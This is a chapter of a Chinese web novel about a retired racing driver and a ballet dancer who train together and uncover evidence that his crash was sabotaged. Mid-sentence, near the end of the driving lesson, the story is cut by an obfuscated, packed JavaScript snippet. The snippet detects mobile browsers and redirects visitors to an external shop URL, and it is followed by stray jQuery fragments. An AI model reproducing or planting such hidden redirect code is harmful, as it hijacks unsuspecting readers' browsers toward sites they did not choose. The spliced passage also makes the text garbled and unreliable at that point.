3. 第三章

作品:《烬火向晚-新

    第三章呼吸与螺栓的间距


    涡轮在周一傍晚六点四十三分送达。


    江砚辞签收时,注意到送货员制服袖口有一小块不起眼的刺绣——一只线条简练的天鹅,和上周苏晚晚留下的创可贴图案相同。


    他没问。只是将那个半人高的木箱拖进车库,用撬棍启封。


    箱内,崭新的涡轮组件闪着冷灰色的光泽,旁边整齐码放着配套的螺栓、垫片和密封胶。但吸引他注意的是压在底部的一个牛皮纸信封,没有署名。


    拆开,里面是三张照片。


    第一张:徐朗在苏氏航运地下停车场,正将一个小型金属箱交给一个戴鸭舌帽的男人。日期是四天前。


    第二张:那个金属箱在海关X光机下的成像,内部是电路板与线缆的轮廓。


    第三张:一张泛黄的维修记录单复印件,抬头是“雷诺车队技术部”,下方有手写备注:“7号车燃油传感器异常波动,建议更换。徐朗,2019.3.14。”


    江砚辞的手指停在第三张照片上。


    那是他职业生涯最后一场比赛前两周。车队会议上,徐朗确实提过传感器问题,但当时数据波动极小,所有人都认为是偶发性干扰。


    比赛当天,那枚传感器没有更换。


    而在斯帕赛道的第44圈,燃油压力突然骤降——事故调查报告将此归结为“系统老化”,但此刻这张维修单像一根冰冷的针,扎进记忆的缝隙。


    车库卷帘门被敲响时,他迅速将照片塞回信封,压进工作台抽屉底层。


    门拉开,苏晚晚站在暮色里。


    她没穿裙子,而是黑色修身运动裤配浅灰色卫衣,长发扎成低马尾,肩上挎着一个帆布工具包。看起来像个刚下课的建筑系学生。


    “我准时吗?”她看了眼手表,“七点五十九分。”


    “提前一分钟。”江砚辞侧身让她进来,“工具包?”


    “你说要学救车。”她放下包,拉链拉开,里面不是扳手,而是一双磨损的芭蕾软底鞋、一卷弹力带,和一个小型呼吸训练器,“我从基础开始——先学怎么在G力下呼吸。”


    江砚辞看着她拿出呼吸训练器。那是个透明塑料装置,带刻度管和吹嘴,通常用于哮喘患者或潜水员训练。


    “你用这个练舞?”


    “练控制。”苏晚晚将吹嘴含住,深吸一口气,然后以极缓慢的速度呼出。刻度管里的小球匀速上升,稳稳停在最高点,保持了三秒才落下。


    她摘下吹嘴,气息平稳:“舞蹈的跳跃落地、高速旋转,都会产生类似G力的内脏压迫。如果呼吸紊乱,核心就会散,动作会变形。”


    江砚辞接过训练器,学她的样子试了一次。小球刚升到中途就剧烈晃动,然后坠回底部。


    “赛车手的呼吸是爆发式的。”他放下器械,“入弯前快速吸气屏住,出弯瞬间呼气。不需要这种精细控制。”


    “所以你在拉苏斯弯屏息了多久?”


    问题来得突然。


    江砚辞的手指在工具台上蜷缩了一下。


    “车载录音里,那个弯道前你有一次异常长的吸气声。”苏晚晚的声音很轻,像在陈述一个客观事实,“1.7秒,比平时长了0.8秒。然后你屏息了整整五秒——直到撞车。”


    车库里的空气仿佛被抽薄了。


    “你从哪里弄到的车内录音?”江砚辞的声音冷下来,“那些资料应该全部封存了。”


    “体育仲裁庭的公开听证会录像,第三场第47分钟。”苏晚晚从手机里调出一段视频,进度条拖到某个位置,点开公放。


    沙沙的电流声后,响起他自己的呼吸声——粗重、急促,然后是工程师模糊的语音:“砚辞,医院……”


    接着是漫长的、令人窒息的沉默。


    五秒后,刺耳的轮胎尖啸和金属撕裂声。


    苏晚晚按了暂停。


    “那五秒里,你在想什么?”她问。


    江砚辞转过身,开始拆涡轮的包装。塑料薄膜被撕开的脆响在寂静中格外刺耳。


    “想我该早点去医院。”他终于说,“而不是在赛道上浪费时间。”


    “那不是浪费时间。”苏晚晚走到他身边,拿起一枚M8螺栓,在指间转动,“那是你父亲最后看见的你——在赢。或者试图赢。”


    螺栓掉进工具盘,叮当一声。


    “你调查得很彻底。”江砚辞没有看她,手指抚过涡轮叶片冰冷的边缘,“连我父亲的事都知道。”


    “因为我也经历过。”她顿了顿,“我母亲去世时,我在莫斯科比赛。经纪人瞒了我三天,等我拿到冠军才知道。后来每次跳她最喜欢的《胡桃夹子》,第二幕糖梅仙子独舞那里,我都会漏拍。”


    她抬起左臂,做了个简单的伸展动作。


    “身体会记住每一个与伤痛有关的瞬间。你的呼吸,我的肩胛骨,都一样。”


    江砚辞停下手里的动作。


    暮色完全沉下来了,车库顶部的LED灯自动亮起,冷白光笼罩着两人。


    “你想怎么学?”他问。


    “从最基础的开始。”苏晚晚指向那台哑光黑的7号原型车,“教我认识这辆车的‘关节’和‘肌肉’。就像认识我自己的身体。”


    接下来的两小时,车库里没有浪漫,只有技术术语。


    江砚辞打开车身覆盖件,指向双叉臂悬挂:“这是踝关节,负责吸收震动和保持抓地力。”他敲了敲碳纤维单体壳,“这是盆骨,所有力量的传导核心。”最后是方向盘后的换挡拨片:“这是手指末梢神经,需要最精细的操控。”


    苏晚晚蹲在车旁,用手机备忘录记笔记,偶尔提问:“刹车力度传递到脚踝需要几毫秒?”“转向不足时,是先松油还是先反打方向?”


    她的问题很专业,专业到江砚辞不得不停下来思考。


    “你提前做了功课。”他在讲解差速器工作原理时说。


    “看了你三年前在《汽车工程》杂志上的专栏。”苏晚晚翻出手机里存下的PDF,“关于‘电子辅助系统对车手感官反馈的侵蚀’。你写道:‘当方向盘变成游戏手柄,赛车就不再是身体延伸。’”


    “那篇文章……没什么人看。”


    “我看了十七遍。”她抬头,眼睛在灯光下清澈见底,“还把你的比喻抄在舞蹈房镜子上:‘悬挂是肌肉,轮胎是皮肤,路面触感是唯一的真相。’”


    江砚辞沉默了几秒。


    然后他说:“上车。”


    7号车驶出车库时,晚上九点半。


    这次他们没有去废弃的舞蹈教室,而是开向南郊一条封闭的测试道路——那是江砚辞多年前参与设计的,后来因为城市规划变更而荒废,但路面保养得意外地好。


    车子停在直道起点。


    江砚辞解开自己的安全带,转向副驾驶:“你来开。”


    苏晚晚愣住了。


    “我不会——”


    “我会教你。”他推开车门,“换位置。”


    一分钟后,她坐在驾驶座,四点式安全带勒过胸口,手掌下是Alcantara包裹的方向盘,触感温暖而粗糙。


    “启动。”


    她按下引擎启动按钮。怒吼再次填满车厢,但这次是从她脚下传来的。


    “现在,慢慢松开离合,轻给油。”江砚辞的声音异常平静,“感受离合器的咬合点,感受引擎的震动从座椅传到你脊椎。”


    车子缓慢起步,微微颤抖着向前蠕动。


    “很好。现在换二档……不,看路,别看挡把。用身体记住位置。”


    苏晚晚的手指有些僵硬。舞蹈训练让她对身体有绝对控制力,但此刻这具钢铁身躯的反馈是如此陌生而强大。


    “前面有个缓弯,提前松油,带一点刹车,方向盘打九十度……多了!回正!”


    车子在弯中轻微甩尾,轮胎尖叫。


    苏晚晚的心脏撞向肋骨。但下一秒,左肩传来温热的触感——江砚辞的手按在她肩上,稳定而有力。


    “呼吸。”他说,“吸气,稳住方向盘。呼气,慢慢给油。”


    她照做了。


    车子稳定下来,滑出弯道。


    “感觉到了吗?”江砚辞的手没有移开,“入弯时你屏息了,核心僵硬,手上的力道就会失控。现在再来一次。”


    他们在这条三公里长的环路上绕了十二圈。


    第十二圈结束时,苏晚晚已经能在不甩尾的情况下通过那个缓弯。她的额角渗出细汗,但眼睛亮得像淬过火。


    “停车。”江砚辞说。


    车子停在路灯下。飞蛾绕着光晕打转。


    “现在告诉我,”他看着她,“刚才第六圈,第二个弯道,你做了什么调整?”


    苏晚晚闭上眼睛回忆。


    “我在入弯前……多吸了半口气,然后在弯心缓缓呼出。同时把左脚脚跟抵住地板,这样骨盆更稳定,手上动作就更细腻。”


    “很好。”江砚辞打开车门,“下课。”


    “等等。”她叫住他,“你还没告诉我,涡轮为什么被海关扣留。”


    江砚辞的动作顿住了。


    “你知道为什么,对吧?”苏晚晚的声音很轻,“那些模糊的印章,延迟的清关,都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004270|194002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是有人设计的。为了拖住你,或者……为了测试我会不会介入。”


    他从口袋里掏出那个牛皮纸信封,扔到她腿上。


    “这是今天随涡轮送来的。”


    苏晚晚抽出照片,一张张看完,脸上没有任何惊讶。


    “徐朗。”她念出这个名字,“我父亲的技术顾问。”


    “你认识他?”


    “他参加过我的十八岁生日宴。”苏晚晚将照片放回信封,动作缓慢,“送了我一套精装版的《赛车工程学》,扉页上写:‘给晚晚,愿你的舞台没有边界。’”


    她苦笑了一下。


    “现在想来,那句话真讽刺。”


    江砚辞重新坐回车里,关上车门。路灯的光被车窗过滤成柔和的琥珀色,洒在两人之间。


    “你早就怀疑他。”


    “从我看到你事故报告的那天起。”苏晚晚坦白,“燃油压力异常下降,但传感器记录却显示正常——这需要内部人员做手脚。而当年你的车队里,只有两个华裔技师。一个是你,另一个就是徐朗。”


    “为什么现在才说?”


    “因为我需要证据。”她看向他,“也需要确认,你是不是已经放弃追查了。”


    江砚辞没有回答,只是发动了车子。


    回程的路上,苏晚晚睡着了。


    高强度精神集中后的疲惫席卷而来,她歪在副驾驶座上,额头抵着车窗。呼吸声均匀而轻浅,左手无意识地搭在两人之间的中控台上。


    江砚辞将空调调高了两度。


    等红灯时,他瞥见她垂下的左手——虎口处有一道新鲜的水泡,大概是刚才握方向盘磨出来的。舞者的手通常保养得很好,这水泡在她白皙的皮肤上显得格外刺眼。


    他从储物格里翻出医药包,找出无菌针和创可贴。


    绿灯亮了,后面的车按喇叭。他收起东西,继续开车。


    车子停回车库时,已经接近午夜。


    苏晚晚醒了,迷迷糊糊地揉眼睛:“到了?”


    “嗯。”江砚辞下车,绕到她这边拉开车门,“手给我。”


    “什么?”


    他抓起她的左手,借着车库灯光,用消毒过的针刺破水泡,挤出组织液,然后贴上创可贴。动作快而准,像维修精密仪器。


    苏晚晚全程安静地看着他。


    “好了。”他松开手,“明天别沾水。”


    “江砚辞。”她叫住转身要走的他。


    他回头。


    “那张维修单复印件,”她说,“能给我一份吗?”


    “为什么?”


    “因为我父亲的书房,”苏晚晚慢慢说,“也有一份相同的文件。我上周找旧照片时偶然看到的,夹在他那本《船舶动力系统年鉴》里。”


    江砚辞的眼神变了。


    “你父亲和徐朗……”


    “我不知道。”她摇头,“但我会查清楚。以我的方式。”


    她背上工具包,走向车库门口。在跨出门槛前,她回头,说了句奇怪的话:


    “你车上的香水味,和我父亲常用的那款一样。古龙水,檀香调,后味有点苦。”


    然后她消失在夜色里。


    江砚辞站在原地,良久,弯腰从驾驶座脚垫上捡起一样东西——是苏晚晚的呼吸训练器,大概是从她工具包里滑落的。


    透明塑料管上,贴着一枚极小的标签,写着日期和数字:“10.23,肺活量+7%”。


    他翻到另一侧,发现管壁内侧用极细的笔写着两行小字:


    “今日呼吸练习时,想起他说离合器的咬合点。


    原来有些接触,需要缓慢而精准的磨合。 ——晚”


    江砚辞盯着那行字看了很久。


    然后他走到工作台前,打开电脑,输入一个尘封三年的密码,登入一个加密云盘。


    里面是他当年收集的所有事故相关资料,包括那份维修单的扫描件。


    他将苏晚晚带来的复印件与自己的扫描件并排对比。


    完全相同。


    但在他文件的边缘,有一行手写的数字代码,他从未注意过——因为那看起来像无意义的乱码。


    此刻,他把它输入搜索引擎。


    第一个结果跳出来:瑞士某私人银行的保险箱编号规则。


    江砚辞关掉网页。


    窗外,夜雾浓得化不开。


    他将呼吸训练器放在工作台上,旁边是那枚从苏晚晚手里接过的M8螺栓。


    两者并排,像两个世界的信物。


    而此刻,这两个世界正在缓慢地、精准地,开始咬合。